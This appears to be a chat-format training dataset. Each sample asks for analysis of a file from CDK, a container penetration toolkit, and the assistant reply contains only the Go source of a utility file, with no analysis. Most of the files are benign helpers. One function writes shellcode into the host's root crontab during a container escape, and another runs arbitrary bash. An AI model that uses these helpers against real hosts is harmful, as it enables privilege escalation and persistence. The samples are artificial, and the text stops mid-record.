ColorWarnPrefix\n\t\t}\n\n\t\ttemp := fmt.Sprintf(\"%s%s\", prefix, format)\n\t\tl.PrintFunc(temp, v...)\n\t}\n}\n\nfunc (l *LevelLogger) Error(format string, v ...interface{}) {\n\tprefix := ErrorPrefix\n\tif l.Color {\n\t\tprefix = ColorErrorPrefix\n\t}\n\n\ttemp := fmt.Sprintf(\"%s%s\", prefix, format)\n\tl.PrintFunc(temp, v...)\n}\n\nfunc (l *LevelLogger) Close() {}\n\ntype Wrapper struct {\n\tlogger *log.Logger\n\n\tLevelLogger\n}\n\nfunc NewWrapper(writer io.Writer, colorful bool) *Wrapper {\n\tlogger := log.New(writer, \"\", log.LstdFlags|log.Lshortfile)\n\n\treturn &Wrapper{\n\t\tlogger: logger,\n\t\tLevelLogger: LevelLogger{\n\t\t\tLevel: DefaultLevel,\n\t\t\tColor: colorful,\n\t\t\tPrintFunc: logger.Printf,\n\t\t},\n\t}\n}\n\nfunc NewStdoutWrapper() *Wrapper {\n\treturn NewWrapper(os.Stdout, true)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/common.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage util\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"math/rand\"\n\t\"os/exec\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n)\n\nfunc ByteToString(orig []byte) string {\n\tn := -1\n\tl := -1\n\tfor i, b := range orig {\n\t\t// skip left side null\n\t\tif l == -1 && b == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tif l == -1 {\n\t\t\tl = i\n\t\t}\n\n\t\tif b == 0 {\n\t\t\tbreak\n\t\t}\n\t\tn = i + 1\n\t}\n\tif n == -1 {\n\t\treturn string(orig)\n\t}\n\treturn string(orig[l:n])\n}\n\nfunc RandString(n int) string {\n\t// grabbed from https://stackoverflow.com/questions/22892120/how-to-generate-a-random-string-of-a-fixed-length-in-go\n\tconst (\n\t\tletterBytes = \"abcde1fghij2klmno3pqrst4uvwxy5zABCD6EFGHI7JKLMN8OPQRS9TUVWX9YZ\"\n\t\tletterIdxBits = 6 // 6 bits to represent a letter index\n\t\tletterIdxMask = 1<= 0; {\n\t\tif remain == 0 {\n\t\t\tcache, remain = rand.Int63(), letterIdxMax\n\t\t}\n\t\tif idx := int(cache & letterIdxMask); idx < len(letterBytes) {\n\t\t\tsb.WriteByte(letterBytes[idx])\n\t\t\ti--\n\t\t}\n\t\tcache >>= letterIdxBits\n\t\tremain--\n\t}\n\n\treturn sb.String()\n}\n\nfunc RemoveDuplicateElement(addrs []string) []string {\n\tresult := make([]string, 0, len(addrs))\n\ttemp := map[string]struct{}{}\n\tfor _, item := range addrs {\n\t\tif _, ok := temp[item]; !ok {\n\t\t\ttemp[item] = struct{}{}\n\t\t\tresult = append(result, item)\n\t\t}\n\t}\n\treturn result\n}\n\n// dataFromSliceOrFile returns data from the slice (if non-empty), or from the file,\n// or an error if an error occurred reading the file\nfunc dataFromSliceOrFile(data []byte, file string) ([]byte, error) {\n\tif len(data) > 0 {\n\t\treturn data, nil\n\t}\n\tif len(file) > 0 {\n\t\tfileData, err := ioutil.ReadFile(file)\n\t\tif err != nil {\n\t\t\treturn []byte{}, err\n\t\t}\n\t\treturn fileData, nil\n\t}\n\treturn nil, nil\n}\n\n// ShellExec run shell script by bash\nfunc ShellExec(shellPath string) error {\n\tvar command = shellPath\n\tif strings.HasPrefix(shellPath, \"/\") {\n\t\tcommand = shellPath\n\t} else {\n\t\tcommand = fmt.Sprintf(\"./%s .\", shellPath)\n\t}\n\tcmd := exec.Command(\"/bin/bash\", \"-c\", command)\n\n\toutput, err := cmd.Output()\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: fmt.Sprintf(\"Execute Shell:%s failed\", command)}\n\t}\n\tfmt.Printf(\"Execute Shell:%s finished with output:\\n%s\", command, string(output))\n\treturn nil\n}\n\n// StringContains check string array contains a string\nfunc StringContains(s []string, e string) bool {\n\t// grabbed from https://stackoverflow.com/questions/10485743/contains-method-for-a-slice\n\tfor _, a := range s {\n\t\tif a == e {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// IntContains check string array contains a int number\nfunc IntContains(s []int, e int) bool {\n\tfor _, a := range s {\n\t\tif a == e {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// DistinctArr distinct\nfunc DistinctStrArr(s []string) []string {\n\tdistinctMap := make(map[string]bool)\n\tvar result []string\n\n\tfor _, item := range s {\n\t\tif _, exists := distinctMap[item]; !exists {\n\t\t\tdistinctMap[item] = true\n\t\t\tresult = append(result, item)\n\t\t}\n\t}\n\n\treturn result\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/file_io.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage util\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"syscall\"\n\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n)\n\nfunc IsDirectory(path string) bool {\n\tfileInfo, err := os.Stat(path)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn fileInfo.IsDir()\n}\n\n// ReadLines reads a whole file into memory\n// and returns a slice of its lines.\n// from https://stackoverflow.com/questions/5884154/read-text-file-into-string-array-and-write\nfunc ReadLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}\n\nfunc FileExist(path string) bool {\n\tfileInfo, err := os.Stat(path)\n\tif os.IsNotExist(err) {\n\t\treturn false\n\t}\n\treturn !fileInfo.IsDir()\n}\n\nfunc IsSoftLink(FilePath string) bool {\n\tfileInfo, err := os.Lstat(FilePath)\n\tif err != nil {\n\t\treturn false\n\t}\n\tif sys := fileInfo.Sys(); sys != nil {\n\t\tif stat, ok := sys.(*syscall.Stat_t); ok {\n\t\t\tnlink := uint64(stat.Nlink)\n\t\t\tif nlink == 1 { // soft link ==1; hard link == 2\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}\n\nfunc IsDir(FilePath string) bool {\n\tfileInfo, err := os.Stat(FilePath)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn fileInfo.IsDir()\n}\n\nfunc RewriteFile(path string, content string, perm os.FileMode) {\n\tcmdFile, err := os.OpenFile(path, os.O_TRUNC|os.O_WRONLY|os.O_CREATE, perm)\n\tif err != nil {\n\t\tlog.Fatal(\"overwrite file:\", path, \"err: \"+err.Error())\n\t} else {\n\t\tn, _ := cmdFile.Seek(0, io.SeekEnd)\n\t\t_, err = cmdFile.WriteAt([]byte(content), n)\n\t\tlog.Println(\"overwrite file:\", path, \"success.\")\n\t\tdefer cmdFile.Close()\n\t}\n}\n\nfunc WriteFile(path string, content string) error {\n\tvar d = []byte(content)\n\terr := ioutil.WriteFile(path, d, 0666)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc WriteFileAdd(path string, content string) error {\n\tfile, err := os.OpenFile(path, os.O_WRONLY|os.O_APPEND, 0666)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = file.Write([]byte(content))\n\tif err != nil {\n\t\treturn err\n\t}\n\tfile.Close()\n\treturn nil\n}\n\nfunc WriteShellcodeToCrontab(header string, filePath string, shellcode string) error {\n\tshellcode = fmt.Sprintf(\"\\n%s\\n* * * * * root %s\", header, shellcode)\n\terr := WriteFileAdd(filePath, shellcode)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"err found while writing shellcode to host crontab from container.\"}\n\t}\n\treturn nil\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/file_io_test.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage util\n\nimport (\n\t\"github.com/stretchr/testify/assert\"\n\t\"testing\"\n)\n\nfunc TestIsDir(t *testing.T) {\n\ttype testCase struct {\n\t\tdir string\n\t\texpected bool\n\t}\n\ttestGroup := map[string]testCase{\n\t\t\"1\": {\n\t\t\tdir: \"/Users/xy/go\",\n\t\t\texpected: true,\n\t\t},\n\t\t\"2\": {\n\t\t\tdir: \"/Users/xy/\",\n\t\t\texpected: true,\n\t\t},\n\t\t\"3\": {\n\t\t\tdir: \"/etc/hosts\",\n\t\t\texpected: false,\n\t\t},\n\t}\n\n\tfor key, v := range testGroup {\n\t\tt.Run(key, func(t *testing.T) {\n\t\t\tassert.Equal(t, v.expected, IsDir(v.dir), \"That should be equal\")\n\t\t})\n\t}\n\n}\n\nfunc TestIsSoftLink(t *testing.T) {\n\ttype testCase struct {\n\t\tdir string\n\t\texpected bool\n\t}\n\ttestGroup := map[string]testCase{\n\t\t\"1\": {\n\t\t\tdir: \"/Users/xy/go\",\n\t\t\texpected: true,\n\t\t},\n\t\t\"2\": {\n\t\t\tdir: \"/Users/xy/\",\n\t\t\texpected: false,\n\t\t},\n\t\t\"3\": {\n\t\t\tdir: \"/etc/hosts\",\n\t\t\texpected: false,\n\t\t},\n\t}\n\n\tfor key, v := range testGroup {\n\t\tt.Run(key, func(t *testing.T) {\n\t\t\tassert.Equal(t, v.expected, IsSoftLink(v.dir), \"That should be equal\")\n\t\t})\n\t}\n\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/http_request.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage util\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net\"\n\t\"net/http\"\n\t\"strings\"\n)\n\n// ref https://docs.docker.com/engine/api/v1.24/\nfunc UnixHttpSend(method string, unixPath string, uri string, data string) (string, error) {\n\thttpc := http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tDialContext: func(_ context.Context, _, _ string) (net.Conn, error) {\n\t\t\t\treturn net.Dial(\"unix\", unixPath)\n\t\t\t},\n\t\t},\n\t}\n\n\tvar response *http.Response\n\tvar err error\n\n\tswitch method {\n\tcase \"post\":\n\t\tresponse, err = httpc.Post(uri, \"application/json\", strings.NewReader(data))\n\tcase \"get\":\n\t\tresponse, err = httpc.Get(uri)\n\t}\n\n\tif err != nil {\n\t\treturn \"\", &errors.CDKRuntimeError{Err: err, CustomMsg: \"Unix HTTP Request failed.\"}\n\t}\n\tbuf := new(bytes.Buffer)\n\tio.Copy(buf, response.Body)\n\treturn buf.String(), nil\n}\n\nfunc HttpSendJson(method string, url string, data string) (string, error) {\n\treq, err := http.NewRequest(strings.ToUpper(method), url, bytes.NewBuffer([]byte(data)))\n\tif err != nil {\n\t\treturn \"\", &errors.CDKRuntimeError{Err: err, CustomMsg: \"HTTP Request failed.\"}\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn \"\", &errors.CDKRuntimeError{Err: err, CustomMsg: \"HTTP Request failed.\"}\n\t}\n\tdefer resp.Body.Close()\n\tbody, _ := ioutil.ReadAll(resp.Body)\n\treturn string(body), nil\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/k8s.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\npackage util\n\ntype K8sPod struct {\n\tAPIVersion string `yaml:\"apiVersion\"`\n\tKind string `yaml:\"kind\"`\n\tMetadata K8sObjectMeta `yaml:\"metadata\"`\n\tSpec K8sPodSpec `yaml:\"spec\"`\n}\n\ntype K8sObjectMeta struct {\n\tName string `yaml:\"name\"`\n\tNamespace string `yaml:\"namespace,omitempty\"`\n\tLabels map[string]string `yaml:\"labels,omitempty\"`\n}\n\ntype K8sPodSpec struct {\n\tContainers []K8sContainer `yaml:\"containers\"`\n}\n\ntype K8sContainer struct {\n\tName string `yaml:\"name\"`\n\tImage string `yaml:\"image\"`\n\tPorts []K8sContainerPort `yaml:\"ports,omitempty\"`\n\tCommand []string `yaml:\"command,omitempty\"`\n}\n\ntype K8sContainerPort struct {\n\tContainerPort int `yaml:\"containerPort\"`\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/kubectl.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\npackage util\n\ntype KubeConfig struct {\n\tAPIVersion string `yaml:\"apiVersion\"`\n\tClusters []Cluster `yaml:\"clusters\"`\n\tContexts []Context `yaml:\"contexts\"`\n\tCurrentContext string `yaml:\"current-context\"`\n\tKind string `yaml:\"kind\"`\n\tPreferences struct{} `yaml:\"preferences\"`\n\tUsers []User `yaml:\"users\"`\n}\n\ntype Cluster struct {\n\tCluster ClusterInfo `yaml:\"cluster\"`\n\tName string `yaml:\"name\"`\n}\n\ntype ClusterInfo struct {\n\tCertificateAuthorityData string `yaml:\"certificate-authority-data\"`\n\tServer string `yaml:\"server\"`\n}\n\ntype Context struct {\n\tContext ContextInfo `yaml:\"context\"`\n\tName string `yaml:\"name\"`\n}\n\ntype ContextInfo struct {\n\tCluster string `yaml:\"cluster\"`\n\tUser string `yaml:\"user\"`\n}\n\ntype User struct {\n\tName string `yaml:\"name\"`\n\tUser UserInfo `yaml:\"user\"`\n}\n\ntype UserInfo struct {\n\tClientCertificateData string `yaml:\"client-certificate-data\"`\n\tClientKeyData string `yaml:\"client-key-data\"`\n}\n\nfunc RunKubectlCmd(args ...string) (string, error) {\n\tvar stdoutStr string\n\tvar err error\n\n\treturn stdoutStr, err\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/kubelet.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage util\n\nimport (\n\t\"bufio\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// from https://stackoverflow.com/questions/40682760/what-syscall-method-could-i-use-to-get-the-default-network-gateway\nconst (\n\tfile = \"/proc/net/route\"\n\tline = 1 // line containing the gateway addr. (first line: 0)\n\tsep = \"\\t\" // field separator\n\tfield = 2 // field containing hex gateway address (first field: 0)\n)\n\n// GetGateway returns the default gateway for the system.\nfunc GetGateway() (string, error) {\n\n\tfile, err := os.Open(file)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer file.Close()\n\n\tscanner := bufio.NewScanner(file)\n\n\tfor scanner.Scan() {\n\n\t\t// jump to line containing the agteway address\n\t\tfor i := 0; i < line; i++ {\n\t\t\tscanner.Scan()\n\t\t}\n\n\t\t// get field containing gateway address\n\t\ttokens := strings.Split(scanner.Text(), sep)\n\t\tgatewayHex := \"0x\" + tokens[field]\n\n\t\t// cast hex address to uint32\n\t\td, _ := strconv.ParseInt(gatewayHex, 0, 64)\n\t\td32 := uint32(d)\n\n\t\t// make net.IP address from uint32\n\t\tipd32 := make(net.IP, 4)\n\t\tbinary.LittleEndian.PutUint32(ipd32, d32)\n\n\t\t// format net.IP to dotted ipV4 string\n\t\tip := net.IP(ipd32).String()\n\n\t\treturn ip, nil\n\t}\n\n\treturn \"\", fmt.Errorf(\"no default gateway found\")\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/kubelet_api.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage util\n\nimport (\n\t\"time\"\n)\n\ntype PodList struct {\n\tKind string `json:\"kind\"`\n\tAPIVersion string `json:\"apiVersion\"`\n\tMetadata Metadata `json:\"metadata\"`\n\tItems []Pod `json:\"items\"`\n}\n\ntype Metadata struct {\n\tName string `json:\"name,omitempty\"`\n\tGenerateName string `json:\"generateName,omitempty\"`\n\tNamespace string `json:\"namespace,omitempty\"`\n\tUID string `json:\"uid,omitempty\"`\n\tResourceVersion string `json:\"resourceVersion,omitempty\"`\n\tCreationTimestamp time.Time `json:\"creationTimestamp,omitempty\"`\n\tLabels map[string]string `json:\"labels,omitempty\"`\n\tAnnotations map[string]string `json:\"annotations,omitempty\"`\n}\n\ntype OwnerReference struct {\n\tAPIVersion string `json:\"apiVersion\"`\n\tKind string `json:\"kind\"`\n\tName string `json:\"name\"`\n\tUID string `json:\"uid\"`\n\tController bool `json:\"controller\"`\n\tBlockOwnerDeletion bool `json:\"blockOwnerDeletion\"`\n}\n\ntype ManagedField struct {\n\tManager string `json:\"manager\"`\n\tOperation string `json:\"operation\"`\n\tAPIVersion string `json:\"apiVersion\"`\n\tTime time.Time `json:\"time\"`\n\tFieldsType string `json:\"fieldsType\"`\n\tFieldsV1 FieldsV1 `json:\"fieldsV1\"`\n}\n\ntype FieldsV1 struct {\n\tMetadata struct {\n\t\tGenerateName string `json:\"generateName\"`\n\t\tLabels map[string]string `json:\"labels\"`\n\t\tOwnerRefs map[string]string `json:\"ownerReferences\"`\n\t} `json:\"metadata\"`\n\tSpec struct {\n\t\tAffinity map[string]interface{} `json:\"affinity\"`\n\t\tContainers map[string]interface{} `json:\"containers\"`\n\t\tRestartPolicy string `json:\"restartPolicy\"`\n\t\tSchedulerName string `json:\"schedulerName\"`\n\t\tSecurityContext struct {\n\t\t\tSysctls []Sysctl `json:\"sysctls\"`\n\t\t} `json:\"securityContext\"`\n\t} `json:\"spec\"`\n}\n\ntype Sysctl struct {\n\tName string `json:\"name\"`\n\tValue string `json:\"value\"`\n}\n\ntype Pod struct {\n\tMetadata Metadata `json:\"metadata\"`\n\tSpec PodSpec `json:\"spec\"`\n\tStatus PodStatus `json:\"status\"`\n\tManagedFields []ManagedField `json:\"managedFields\"`\n}\n\ntype PodSpec struct {\n\tContainers []Container `json:\"containers\"`\n\tRestartPolicy string `json:\"restartPolicy\"`\n\tTerminationGracePeriodSeconds int `json:\"terminationGracePeriodSeconds\"`\n\tDNSPolicy string `json:\"dnsPolicy\"`\n\tServiceAccountName string `json:\"serviceAccountName\"`\n\tNodeName string `json:\"nodeName\"`\n\tSecurityContext SecurityContext `json:\"securityContext\"`\n\tAffinity Affinity `json:\"affinity\"`\n\tTolerations []Toleration `json:\"tolerations\"`\n\tSchedulerName string `json:\"schedulerName\"`\n}\n\ntype SecurityContext struct {\n\tSysctls []Sysctl `json:\"sysctls\"`\n}\n\ntype Affinity struct {\n\tNodeAffinity NodeAffinity `json:\"nodeAffinity\"`\n}\n\ntype NodeAffinity struct {\n\tRequiredDuringSchedulingIgnoredDuringExecution struct {\n\t\tNodeSelectorTerms []NodeSelectorTerm `json:\"nodeSelectorTerms\"`\n\t} `json:\"requiredDuringSchedulingIgnoredDuringExecution\"`\n}\n\ntype NodeSelectorTerm struct {\n\tMatchFields []MatchField `json:\"matchFields\"`\n}\n\ntype MatchField struct {\n\tKey string `json:\"key\"`\n\tOperator string `json:\"operator\"`\n\tValues []string `json:\"values\"`\n}\n\ntype Container struct {\n\tName string `json:\"name\"`\n\tImage string `json:\"image\"`\n\tPorts []Port `json:\"ports\"`\n\tEnv []EnvVar `json:\"env\"`\n\tResources Resources `json:\"resources\"`\n\tSecurityContext SecurityContext `json:\"securityContext\"`\n}\n\ntype Port struct {\n\tName string `json:\"name\"`\n\tHostPort int `json:\"hostPort\"`\n\tContainerPort int `json:\"containerPort\"`\n\tProtocol string `json:\"protocol\"`\n}\n\ntype EnvVar struct {\n\tName string `json:\"name\"`\n\tValue string `json:\"value\"`\n}\n\ntype Resources struct{}\n\ntype PodStatus struct {\n\tPhase string `json:\"phase\"`\n\tConditions []Condition `json:\"conditions\"`\n\tHostIP string `json:\"hostIP\"`\n\tPodIP string `json:\"podIP\"`\n\tPodIPs []PodIP `json:\"podIPs\"`\n\tStartTime time.Time `json:\"startTime\"`\n\tContainerStatuses []ContainerStatus `json:\"containerStatuses\"`\n\tQOSClass string `json:\"qosClass\"`\n}\n\ntype Condition struct {\n\tType string `json:\"type\"`\n\tStatus string `json:\"status\"`\n\tLastProbeTime time.Time `json:\"lastProbeTime\"`\n\tLastTransitionTime time.Time `json:\"lastTransitionTime\"`\n}\n\ntype PodIP struct {\n\tIP string `json:\"ip\"`\n}\n\ntype ContainerStatus struct {\n\tName string `json:\"name\"`\n\tState ContainerState `json:\"state\"`\n\tLastState ContainerState `json:\"lastState\"`\n\tReady bool `json:\"ready\"`\n\tRestartCount int `json:\"restartCount\"`\n\tImage string `json:\"image\"`\n\tImageID string `json:\"imageID\"`\n\tContainerID string `json:\"containerID\"`\n\tStarted bool `json:\"started\"`\n}\n\ntype ContainerState struct {\n\tRunning *ContainerStateRunning `json:\"running,omitempty\"`\n\tTerminated *ContainerStateTerminated `json:\"terminated,omitempty\"`\n\tWaiting *ContainerStateWaiting `json:\"waiting,omitempty\"`\n}\n\ntype ContainerStateRunning struct {\n\tStartedAt time.Time `json:\"startedAt\"`\n}\n\ntype ContainerStateTerminated struct {\n\tExitCode int `json:\"exitCode\"`\n\tReason string `json:\"reason\"`\n}\n\ntype ContainerStateWaiting struct {\n\tReason string `json:\"reason\"`\n}\n\ntype Toleration struct {\n\tKey string `json:\"key\"`\n\tOperator string `json:\"operator\"`\n\tEffect string `json:\"effect\"`\n\tTolerationSeconds *int64 `json:\"tolerationSeconds,omitempty\"`\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/namespace.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage util\n\nimport (\n\t\"io/ioutil\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n)\n\n// CheckUnpriUserNS checks if the current host enable unprivileged user namespace.\n// reference:\n//\n//\thttps://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/\n//\thttps://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/\n//\n// exceptional case:\n//\n//\tthe sysctl files(/proc/sys/kernel/unprivileged_userns_clone) only exist in Debian, Ubuntu.\n//\tWe can not check the sysctl file in other distros, test in CentOS Linux release 8.4.2105 (Core).\nfunc CheckUnpriUserNS() error {\n\n\tdata, err := ioutil.ReadFile(\"/proc/sys/kernel/unprivileged_userns_clone\")\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"check prerequisites error.\"}\n\t}\n\n\tif strings.TrimSuffix(string(data), \"\\n\") != \"1\" {\n\t\treturn &errors.CDKRuntimeError{Err: nil, CustomMsg: \"host os does NOT enable unprivileged user namespace.\"}\n\t}\n\n\treturn nil\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/output.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage util\n\nimport (\n\t\"fmt\"\n\t\"log\"\n)\n\nconst Colorful = true\n\n// fmt.Printf(util.GreenBold.Sprint(\"\\n[Information Gathering - System Info]\\n\"))\nfunc PrintH2(title string) {\n\tfmt.Printf(BlueBold.Sprint(\"\\n[ \") + GreenBold.Sprint(title) + BlueBold.Sprint(\" ]\\n\"))\n}\n\nfunc PrintItemKey(key string, color bool) {\n\tkey = key + \"\\n\"\n\tif color {\n\t\tlog.Printf(YellowBold.Sprint(key))\n\t} else {\n\t\tlog.Printf(key)\n\t}\n}\n\nfunc PrintItemValue(value string, color bool) {\n\tvalue = \"\\t\" + value + \"\\n\"\n\tif color {\n\t\tfmt.Printf(RedBold.Sprint(value))\n\t} else {\n\t\tfmt.Printf(value)\n\t}\n}\n\nfunc PrintItemValueWithKeyOneLine(key, value string, color bool) {\n\tif color {\n\t\tlog.Printf(\"%s: %s\", key, GreenBold.Sprint(value))\n\t} else {\n\t\tlog.Printf(\"%s: %s\", key, value)\n\t}\n}\n\nfunc PrintOrignal(out string) {\n\tfmt.Printf(\"%s\\n\", out)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/util/version.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in 